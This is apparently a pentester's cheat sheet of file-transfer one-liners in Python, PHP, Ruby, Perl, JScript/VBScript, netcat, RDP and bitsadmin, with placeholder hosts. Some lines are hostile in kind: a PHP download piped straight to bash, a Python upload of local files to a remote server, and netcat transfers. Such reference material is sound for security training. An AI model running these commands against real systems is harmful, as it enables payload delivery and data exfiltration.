Skip to main content

Python

:: Download Remote File Python[3]
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://<IP>:<PORT>/<File Name>", "<Output>")'

:: Download Remote File Python[2]
python2.7 -c 'import urllib;urllib.urlretrieve ("http://<IP>:<PORT>/<File Name>", "<Output>")'
:: Requires [uploadserver] Package
:: HTTP Server
python3 -m uploadserver

:: Upload File to Remote Server
python3 -c 'import requests;requests.post("http://<IP>:<PORT>/upload",files={"files":open("/<File Name>","rb")})'

PHP

:: Using the [file_get_contents() - file_put_contents()] Modules to Download Remote File
php -r '$file = file_get_contents("http://<IP>:<PORT>/<File Name>"); file_put_contents("<Output>",$file);'

:: Using the [fopen()] Module to Download Remote File
php -r 'const BUFFER = 1024; $fremote =
fopen("http://<IP>:<PORT>/<File Name>", "rb"); $flocal = fopen("<Output>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
:: Download Remote Files and Pipe it to BASH
:: Best when Paired with Scripts [.sh]
php -r '$lines = @file("http://<IP>:<PORT>/<File Name>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Ruby

:: Download Remote File
ruby -e 'require "net/http"; File.write("<Output>", Net::HTTP.get(URI.parse("http://<IP>:<PORT>/<File Name>")))'

Perl

:: Download Remote File
perl -e 'use LWP::Simple; getstore("http://<IP>:<PORT>/<File Name>", "<Output>");'

JavaScript

Windows Only

wget.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));


VBScript

Windows Only

wget.vbs
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with

SCRIPT.vbs
echo strUrl = WScript.Arguments.Item(0) > SCRIPT.vbs
echo StrFile = WScript.Arguments.Item(1) >> SCRIPT.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> SCRIPT.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> SCRIPT.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> SCRIPT.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> SCRIPT.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> SCRIPT.vbs
echo Err.Clear >> SCRIPT.vbs
echo Set http = Nothing >> SCRIPT.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> SCRIPT.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> SCRIPT.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> SCRIPT.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> SCRIPT.vbs
echo http.Open "GET", strURL, False >> SCRIPT.vbs
echo http.Send >> SCRIPT.vbs
echo varByteArray = http.ResponseBody >> SCRIPT.vbs
echo Set http = Nothing >> SCRIPT.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> SCRIPT.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> SCRIPT.vbs
echo strData = "" >> SCRIPT.vbs
echo strBuffer = "" >> SCRIPT.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> SCRIPT.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> SCRIPT.vbs
echo Next >> SCRIPT.vbs
echo ts.Close >> SCRIPT.vbs


NETCAT - NCAT

:: Sender [Linux]
nc -l -p <PORT> -q 0 < <File Name>

:: Receiver [Windows]
nc.exe <IP> <PORT> > <Output>
:: Sender
ncat --send-only <IP> <PORT> < <File Name>

:: Receiver
ncat -l -p <PORT> --recv-only > <Output>

RDP

Windows Only
:: An Alternative to Copy Paste with SMB etc.. is Mounting the Local Resource on the Target RDP Server
:: Port can be Specified with [/port:<PORT>]
:: [/drive] - Local Linux Drive
:: To Access the Directory we can go to [File Explorer ➜ Network ➜ tsclient]
xfreerdp /v:<IP> /u:<Username> /p:'<Password>' /drive:linux,/home/<Username>/<Path>
:: Alternative to [xfreerdp]
rdesktop <IP> -u <Username> -p '<Password>' -r disk:linux='/home/<Username>/<Path>'

Bitsadmin

Windows Only
Doesn't Always Work

:: Background Intelligent Transfer Service (BITS)
:: Can be used to Download from [HTTP - SMB]
bitsadmin /transfer n http://<IP>/<File Name> C:\<Output>